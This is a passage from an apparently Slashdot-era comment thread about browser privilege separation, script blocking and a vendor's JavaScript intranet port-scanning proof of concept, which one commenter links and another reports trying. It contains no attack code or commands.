    Also, web browsers probably should run using CreateRestrictedToken. I wish web browsers would run with lower privilege than your normal user applications. You could have 2 processes, one that runs at normal privilege and one that runs as a restricted token. Almost the entire browser would be under the restricted token. Really, the only exceptions should be when downloading or uploading files, at the user's request of course. Such things can be done over interprocess communication with a well-defined and hardened interface.

    I guess that the big problem is that NT and Linux don't really have a way to do this. The only way I can think of this working is for the browser to run as a separate user account. That requires administrator access to set up, as does running a second process as a different user.

    Melissa

    --
    "Screw Sun, cross-platform will never work. Let's move on and steal the Java language." - Visual J++ Product Manager
  62. Re:NoScript No Sh*t by davidsyes · · Score: 1

    These kinds of problems (and my disinterest in bells and whistles and disdain for being FORCED to turn on Java Script to read a frackin' web page) are why I want to yell, "turn that shit off!"

    So, I ONLY activate JavaScript in Konqueror on a page-by-page basis. I have it AND Java turned off by default. When the page is done, I destroy the history folder and sometimes nuke the cookies. I also in my firewall at the eth device and LAN device, as well as in the ports and as well as in Konqueror's cookies manager manually and malevolently blacklist or forbid connections to OR from all sorts of shit, from akamai, to double-dick to anything that is spawning the bazillions of port requests. This shit just annoys me that when I want a quick read, I have to witness umpteen connections due to all those adverts, king wizard page gimmicks and such. (I think I have over 200 sites blacklisted in the inbound and LAN portions of my firewall.)

    I'm at the point where if a site asks for many cookies, I just ban the whole site and try to remember that its slow loading is because I banned my computer from letting me see it.

    (I guess I'm overreacting, but it's as frackin' annoying as noise pollution by firetrucks blaring at 200 decibels moving at 5 miles per hour. I don't know who to curse: them for not turning the thing down or pausing it, or the idiot drivers in front who are oblivious to the truck. Dumbasses with their CDs up loud or who just don't check the rearview are why I advocate giving police cars and emergency response vehicles the ability to white noise certain automobile audio devices so lame-ass driver get the hint: the FRAKIN' ROAD is NOT all about YOU.)

    But, I suppose we're going to see exploits that circumvent the turn-java-script-off setting. Or, it could just force web developers to change for the better for site visitors. I am of the feeling there is a LOT of shit we don't need on web pages, but some people want to show off their prowess, their calling card, and overcomplicate the visit. Either that, or they have WAYYYY too much information their company is trying to present and are being too cutting edge about it.

    --
    Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
  63. A solution to this problem-Driving range. by Anonymous Coward · · Score: 0

    Like these.

  64. Re:NoScript No Sh*t by Decker-Mage · · Score: 1

    While I don't use NoScript (instead I have an inline web-proxy to filter all my browsers) I don't consider it overreacting. My default here is no cookies, no scripts, no flash, no referrer, no blinking text, no nothing. Just the text Ma'am. This proxy rewrites the HTML on the fly ;-). There are a few, very few, sites where I do enable some things, but I've had it with sites that require anything more than basic HTML.

    --
    "[I]t is a wise man who admits the limits of his knowledge or skill, and that pretending either causes harm." --Terry Go
  65. That high horse of you looks tired. by jotaeleemeese · · Score: 1

    Come of it, have some pity of the tired beast.

    Your definition of consultant is so narrow that no camel will ever go through that needle's eyelet. Not even a mini camel.

    Consulting is understood as the poviding of professional srvices in an area, the nature of the gig may be advisory, but can be also doing technical work. What you need is somebody that can fall in a position running. Anybody capable of doing that will fit the definition of most sane people.

    In your ayatolhaic zeal you make half a point: people should be knowledgeable in their field of expertise. But the original poster made a point far more important: for a myriad of reasons people that are good enough to put in place a little app may not have the knowledge about how to secure it. That is real life here in the ground, real world so to speak, not in that area deprived of oxygen you seem to be moving in where every engineer or technician wears a shinny armor and has a perfect denture.

    The languages and protocols we are using to build the Web are not secure enough, people working on new tools for the Internet ought to take this into account. The next big language, the next big protocol, shoud do as the previous poster say: protect the developper against himself.

    --
    IANAL but write like a drunk one.
  66. JavaScript scanner Proof of concept URL by Anonymous Coward · · Score: 0

    SPI Dynamics (featured heavily in the article) released a proof of concept for scanner internal networks using JavaScript last week. Proof of concept: http://www.spidynamics.com/spilabs/js-port-scan/ Whitepaper: http://www.spidynamics.com/assets/documents/JSport scan.pdf While there are a few false positives on my home network, it finds all the Apache and IIS boxes at work!

  67. Why limit this technique to intranet attacks? by berendes · · Score: 1
    I ran the SPI Dynamics proof of concept page and it identified various hosts on our intranet. Of course, the interesting stuff (router, firewall, Snapserver) is protected with non-default passwords, but for convenience's sake, I often stay logged in or Firefox defaults my passwords in, so yikes!.

    Questions:

    1. Doesn't this really hinge on what you can do with an image url, and if so, why couldn't you use it to screw up my Gmail account (if I'm already logged in), or my credit card account -- anything where there is an easily discoverable fingerprint and protocol for interesting hacking? Why limit yourself to intranet shenanigans?
    2. Once you knew what you were attacking (my Netopia router, my Diner's Club online site), what are the limits of what the technology could do?
  68. We just got the internet last week dude!! by Anonymous Coward · · Score: 0

    At our comanpy, we just got the internet connected last week, it is
    a shared computer in the hall way. For the whole floor.

    Cool man